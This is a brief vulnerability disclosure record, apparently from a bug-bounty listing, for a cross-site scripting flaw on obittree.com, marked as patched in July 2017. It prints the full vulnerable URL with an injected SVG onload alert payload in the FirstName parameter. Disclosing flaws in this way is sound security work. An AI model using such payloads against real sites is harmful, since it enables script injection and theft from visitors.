obittree.com XSS vulnerability

Vulnerable URL: http://www.obittree.com/obituary/list-obituaries.php?FirstName=%27%22%3E%3CSvG%20onload=alert%27OPENBUGBOUNTY%27%3E=%27%22%3E%3CSvG%20onload=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:23 GMT...